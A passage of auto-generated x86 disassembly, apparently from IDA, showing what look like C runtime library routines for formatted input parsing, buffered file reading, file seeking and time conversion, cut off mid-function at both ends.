		inc	esi
		jmp	short loc_41BCBE
; ---------------------------------------------------------------------------


loc_41BCBB:				; CODE XREF: sub_41B605+673j
		mov	[esi], al
		inc	esi


loc_41BCBE:				; CODE XREF: sub_41B605+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41BC2A
; ---------------------------------------------------------------------------


loc_41BCC6:				; CODE XREF: sub_41B605+66Dj
		inc	[ebp+var_30]
		jmp	loc_41BC2A
; ---------------------------------------------------------------------------


loc_41BCCE:				; CODE XREF: sub_41B605+649j
					; sub_41B605+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BCDA:				; CODE XREF: sub_41B605+633j
		cmp	[ebp+var_30], esi
		jz	loc_41C00B
		cmp	[ebp+var_E], 0
		jnz	loc_41BF6C
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41BF6C
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BD0C
		and	word ptr [eax],	0
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BD0C:				; CODE XREF: sub_41B605+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BD14:				; CODE XREF: sub_41B605+466j
		mov	[ebp+var_D], 1


loc_41BD18:				; CODE XREF: sub_41B605+203j
					; sub_41B605+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41BD26
		mov	[ebp+var_17], 1
		jmp	short loc_41BD2B
; ---------------------------------------------------------------------------


loc_41BD26:				; CODE XREF: sub_41B605+719j
		cmp	ebx, 2Bh
		jnz	short loc_41BD4D


loc_41BD2B:				; CODE XREF: sub_41B605+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41BD3C
		cmp	[ebp+var_20], 0
		jz	short loc_41BD3C
		mov	[ebp+var_F], 1
		jmp	short loc_41BD4D
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41B605+729j
					; sub_41B605+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		pop	ecx
		mov	ebx, eax


loc_41BD4A:				; CODE XREF: sub_41B605+543j
		mov	[ebp+var_14], ebx


loc_41BD4D:				; CODE XREF: sub_41B605+4FDj
					; sub_41B605+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41BE66
		cmp	[ebp+var_F], 0
		jnz	loc_41BE44


loc_41BD61:				; CODE XREF: sub_41B605+82Cj
		cmp	esi, 78h
		jnz	short loc_41BDB5
		cmp	dword_4385FC, 1
		jle	short loc_41BD7E
		push	80h
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BD8B
; ---------------------------------------------------------------------------


loc_41BD7E:				; CODE XREF: sub_41B605+768j
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BD8B:				; CODE XREF: sub_41B605+777j
		test	eax, eax
		jz	loc_41BE36
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E960
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41C02A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41BE08
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41B605+75Fj
		cmp	dword_4385FC, 1
		jle	short loc_41BDCA
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BDD5
; ---------------------------------------------------------------------------


loc_41BDCA:				; CODE XREF: sub_41B605+7B7j
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BDD5:				; CODE XREF: sub_41B605+7C3j
		test	eax, eax
		jz	short loc_41BE36
		cmp	esi, 6Fh
		jnz	short loc_41BDF3
		cmp	ebx, 38h
		jge	short loc_41BE36
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E960
		jmp	short loc_41BE02
; ---------------------------------------------------------------------------


loc_41BDF3:				; CODE XREF: sub_41B605+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4157C0


loc_41BE02:				; CODE XREF: sub_41B605+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41BE08:				; CODE XREF: sub_41B605+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41BE20
		dec	[ebp+var_C]
		jz	short loc_41BE44


loc_41BE20:				; CODE XREF: sub_41B605+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BD61
; ---------------------------------------------------------------------------


loc_41BE36:				; CODE XREF: sub_41B605+788j
					; sub_41B605+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BE44:				; CODE XREF: sub_41B605+756j
					; sub_41B605+819j
		cmp	[ebp+var_17], 0
		jz	loc_41BF2A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41BF2A
; ---------------------------------------------------------------------------


loc_41BE66:				; CODE XREF: sub_41B605+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41BF22


loc_41BE70:				; CODE XREF: sub_41B605+90Aj
		cmp	esi, 78h
		jz	short loc_41BEB4
		cmp	esi, 70h
		jz	short loc_41BEB4
		cmp	dword_4385FC, 1
		jle	short loc_41BE8F
		push	4
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BE9A
; ---------------------------------------------------------------------------


loc_41BE8F:				; CODE XREF: sub_41B605+87Cj
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41BE9A:				; CODE XREF: sub_41B605+888j
		test	eax, eax
		jz	short loc_41BF14
		cmp	esi, 6Fh
		jnz	short loc_41BEAD
		cmp	ebx, 38h
		jge	short loc_41BF14
		shl	edi, 3
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEAD:				; CODE XREF: sub_41B605+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEB4:				; CODE XREF: sub_41B605+86Ej
					; sub_41B605+873j
		cmp	dword_4385FC, 1
		jle	short loc_41BECC
		push	80h
		push	ebx
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41BED9
; ---------------------------------------------------------------------------


loc_41BECC:				; CODE XREF: sub_41B605+8B6j
		mov	eax, off_4383F0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41BED9:				; CODE XREF: sub_41B605+8C5j
		test	eax, eax
		jz	short loc_41BF14
		push	ebx
		shl	edi, 4
		call	sub_41C02A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41BEEC:				; CODE XREF: sub_41B605+8A6j
					; sub_41B605+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41BEFE
		dec	[ebp+var_C]
		jz	short loc_41BF22


loc_41BEFE:				; CODE XREF: sub_41B605+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41BE70
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41B605+897j
					; sub_41B605+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41C07B
		pop	ecx
		pop	ecx


loc_41BF22:				; CODE XREF: sub_41B605+865j
					; sub_41B605+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41BF2A
		neg	edi


loc_41BF2A:				; CODE XREF: sub_41B605+843j
					; sub_41B605+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41BF33
		and	[ebp+var_1C], 0


loc_41BF33:				; CODE XREF: sub_41B605+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41C00B
		cmp	[ebp+var_E], 0
		jnz	short loc_41BF6C
		inc	[ebp+var_34]


loc_41BF46:				; CODE XREF: sub_41B605+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41BF5C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BF5C:				; CODE XREF: sub_41B605+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41BF69
		mov	[eax], edi
		jmp	short loc_41BF6C
; ---------------------------------------------------------------------------


loc_41BF69:				; CODE XREF: sub_41B605+95Ej
		mov	[eax], di


loc_41BF6C:				; CODE XREF: sub_41B605+241j
					; sub_41B605+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41BFB9
; ---------------------------------------------------------------------------


loc_41BF77:				; CODE XREF: sub_41B605+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41BFE6
		mov	ecx, off_4383F0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BFB9
		inc	[ebp+var_4]
		push	edi
		call	sub_41C061
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41BFF4
		dec	[ebp+var_4]


loc_41BFB9:				; CODE XREF: sub_41B605+970j
					; sub_41B605+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41BFCF
		cmp	byte ptr [esi],	25h
		jnz	short loc_41C011
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41C011
		mov	esi, eax


loc_41BFCF:				; CODE XREF: sub_41B605+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41B62F
		jmp	short loc_41C00B
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41B605+1F4j
					; sub_41B605+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41BFEB
; ---------------------------------------------------------------------------


loc_41BFE6:				; CODE XREF: sub_41B605+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41BFEB:				; CODE XREF: sub_41B605+9DFj
		call	sub_41C07B
		pop	ecx
		pop	ecx
		jmp	short loc_41C00B
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41B605+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41C07B
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41C07B
		add	esp, 10h


loc_41C00B:				; CODE XREF: sub_41B605+1Fj
					; sub_41B605+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41C022


loc_41C011:				; CODE XREF: sub_41B605+9BDj
					; sub_41B605+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41C025
		cmp	[ebp+var_15], al
		jnz	short loc_41C025
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C025
; ---------------------------------------------------------------------------


loc_41C022:				; CODE XREF: sub_41B605+A0Aj
		mov	eax, [ebp+var_34]


loc_41C025:				; CODE XREF: sub_41B605+A11j
					; sub_41B605+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B605	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C02A	proc near		; CODE XREF: sub_41B605+7A3p
					; sub_41B605+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4385FC, 1
		push	esi
		jle	short loc_41C044
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41C053
; ---------------------------------------------------------------------------


loc_41C044:				; CODE XREF: sub_41C02A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4383F0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C053:				; CODE XREF: sub_41C02A+18j
		test	eax, eax
		jnz	short loc_41C05D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41C05D:				; CODE XREF: sub_41C02A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41C02A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C061	proc near		; CODE XREF: sub_41B605+1E1p
					; sub_41B605+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41C073
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41C073:				; CODE XREF: sub_41C061+7j
		push	edx
		call	sub_41C178
		pop	ecx
		retn
sub_41C061	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C07B	proc near		; CODE XREF: sub_41B605+6Bp
					; sub_41B605+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41C091
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E97F
		pop	ecx
		pop	ecx

locret_41C091:				; CODE XREF: sub_41C07B+5j
		retn
sub_41C07B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C092	proc near		; CODE XREF: sub_41B605+63p
					; sub_41B605+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41C098:				; CODE XREF: sub_41C092+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41C061
		mov	edi, eax
		push	edi
		call	sub_41E931
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41C098
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41C092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0B6	proc near		; CODE XREF: sub_41697B+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41C172
		cmp	ebx, 8Ah
		jg	loc_41C172
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43AEA4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41C0F5
		cmp	edi, 2
		jle	short loc_41C0F5
		inc	esi


loc_41C0F5:				; CODE XREF: sub_41C0B6+37j
					; sub_41C0B6+3Cj
		call	sub_41E9ED
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43ADC0
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41C168
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41C16E
		cmp	dword_43ADC4, 0
		jz	short loc_41C16E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EC60
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41C16E


loc_41C168:				; CODE XREF: sub_41C0B6+90j
		add	ecx, dword_43ADC8


loc_41C16E:				; CODE XREF: sub_41C0B6+96j
					; sub_41C0B6+9Fj ...
		mov	eax, ecx
		jmp	short loc_41C175
; ---------------------------------------------------------------------------


loc_41C172:				; CODE XREF: sub_41C0B6+13j
					; sub_41C0B6+1Fj
		or	eax, 0FFFFFFFFh


loc_41C175:				; CODE XREF: sub_41C0B6+BAj
		pop	ebx
		leave
		retn
sub_41C0B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C178	proc near		; CODE XREF: sub_416A57+A9p
					; sub_416FDC+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41C24C
		test	al, 40h
		jnz	loc_41C24C
		test	al, 2
		jz	short loc_41C19E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41C24C
; ---------------------------------------------------------------------------


loc_41C19E:				; CODE XREF: sub_41C178+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41C1B2
		push	esi
		call	sub_41D908
		pop	ecx
		jmp	short loc_41C1B7
; ---------------------------------------------------------------------------


loc_41C1B2:				; CODE XREF: sub_41C178+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41C1B7:				; CODE XREF: sub_41C178+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41C251
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41C23B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C23B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41C210
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41C1F9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_46CE20[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41C1FE
; ---------------------------------------------------------------------------


loc_41C1F9:				; CODE XREF: sub_41C178+6Bj
		mov	edi, offset dword_43AA70


loc_41C1FE:				; CODE XREF: sub_41C178+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41C210
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41C210:				; CODE XREF: sub_41C178+62j
					; sub_41C178+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41C22D
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41C22D
		test	ch, 4
		jnz	short loc_41C22D
		mov	dword ptr [esi+18h], 1000h


loc_41C22D:				; CODE XREF: sub_41C178+9Fj
					; sub_41C178+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C23B:				; CODE XREF: sub_41C178+55j
					; sub_41C178+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41C24C:				; CODE XREF: sub_41C178+Aj
					; sub_41C178+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41C178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C251	proc near		; CODE XREF: sub_416A57+90p
					; sub_41C178+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_46CF20
		jnb	loc_41C42E
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46CE20h[eax*4]
		mov	eax, dword_46CE20[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41C42E
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41C306
		test	dl, 2
		jnz	short loc_41C306
		test	dl, 48h
		jz	short loc_41C2C6
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41C2C6
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41C2C6:				; CODE XREF: sub_41C251+56j
					; sub_41C251+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41C319
		call	dword_421088	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41C301
		mov	dword_46BB04, 9
		mov	dword_46BB08, ecx
		jmp	loc_41C43F
; ---------------------------------------------------------------------------


loc_41C301:				; CODE XREF: sub_41C251+99j
		cmp	eax, 6Dh
		jnz	short loc_41C30D


loc_41C306:				; CODE XREF: sub_41C251+4Cj
					; sub_41C251+51j
		xor	eax, eax
		jmp	loc_41C442
; ---------------------------------------------------------------------------


loc_41C30D:				; CODE XREF: sub_41C251+B3j
		push	eax
		call	sub_41CE74
		pop	ecx
		jmp	loc_41C43F
; ---------------------------------------------------------------------------


loc_41C319:				; CODE XREF: sub_41C251+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41C429
		test	edx, edx
		jz	short loc_41C33E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41C33E
		or	al, 4
		jmp	short loc_41C340
; ---------------------------------------------------------------------------


loc_41C33E:				; CODE XREF: sub_41C251+E2j
					; sub_41C251+E7j
		and	al, 0FBh


loc_41C340:				; CODE XREF: sub_41C251+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41C423


loc_41C358:				; CODE XREF: sub_41C251+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41C413
		cmp	al, 0Dh
		jz	short loc_41C374
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41C405
; ---------------------------------------------------------------------------


loc_41C374:				; CODE XREF: sub_41C251+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41C392
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C389
		add	[ebp+arg_8], 2
		jmp	short loc_41C3E7
; ---------------------------------------------------------------------------


loc_41C389:				; CODE XREF: sub_41C251+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41C405
; ---------------------------------------------------------------------------


loc_41C392:				; CODE XREF: sub_41C251+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41C3BA
		call	dword_421088	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41C401


loc_41C3BA:				; CODE XREF: sub_41C251+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41C401
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41C3DC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41C3E7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41C405
; ---------------------------------------------------------------------------


loc_41C3DC:				; CODE XREF: sub_41C251+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41C3EC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41C3EC


loc_41C3E7:				; CODE XREF: sub_41C251+136j
					; sub_41C251+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41C404
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C251+18Ej
					; sub_41C251+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41C447
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41C405


loc_41C401:				; CODE XREF: sub_41C251+167j
					; sub_41C251+16Dj
		mov	byte ptr [edi],	0Dh


loc_41C404:				; CODE XREF: sub_41C251+199j
		inc	edi


loc_41C405:				; CODE XREF: sub_41C251+11Ej
					; sub_41C251+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41C358
		jmp	short loc_41C423
; ---------------------------------------------------------------------------


loc_41C413:				; CODE XREF: sub_41C251+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41C423
		or	al, 2
		mov	[esi], al


loc_41C423:				; CODE XREF: sub_41C251+101j
					; sub_41C251+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41C429:				; CODE XREF: sub_41C251+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41C442
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C251+12j
					; sub_41C251+39j
		and	dword_46BB08, 0
		mov	dword_46BB04, 9


loc_41C43F:				; CODE XREF: sub_41C251+ABj
					; sub_41C251+C3j
		or	eax, 0FFFFFFFFh


loc_41C442:				; CODE XREF: sub_41C251+B7j
					; sub_41C251+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C251	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C447	proc near		; CODE XREF: sub_416CDE+67p
					; sub_417C57+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_46CF20
		push	esi
		push	edi
		jnb	short loc_41C4C9
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46CE20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41C4C9
		push	eax
		call	sub_41DD62
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41C48B
		mov	dword_46BB04, 9
		jmp	short loc_41C4DA
; ---------------------------------------------------------------------------


loc_41C48B:				; CODE XREF: sub_41C447+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_4210AC	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41C4AB
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41C4AD
; ---------------------------------------------------------------------------


loc_41C4AB:				; CODE XREF: sub_41C447+5Aj
		xor	eax, eax


loc_41C4AD:				; CODE XREF: sub_41C447+62j
		test	eax, eax
		jz	short loc_41C4BA
		push	eax
		call	sub_41CE74
		pop	ecx
		jmp	short loc_41C4DA
; ---------------------------------------------------------------------------


loc_41C4BA:				; CODE XREF: sub_41C447+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41C4DD
; ---------------------------------------------------------------------------


loc_41C4C9:				; CODE XREF: sub_41C447+Dj
					; sub_41C447+2Aj
		and	dword_46BB08, 0
		mov	dword_46BB04, 9


loc_41C4DA:				; CODE XREF: sub_41C447+42j
					; sub_41C447+71j
		or	eax, 0FFFFFFFFh


loc_41C4DD:				; CODE XREF: sub_41C447+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41C447	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4E1	proc near		; CODE XREF: sub_416CDE+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41C4FD
		mov	[edi+4], ebx


loc_41C4FD:				; CODE XREF: sub_41C4E1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, ebx
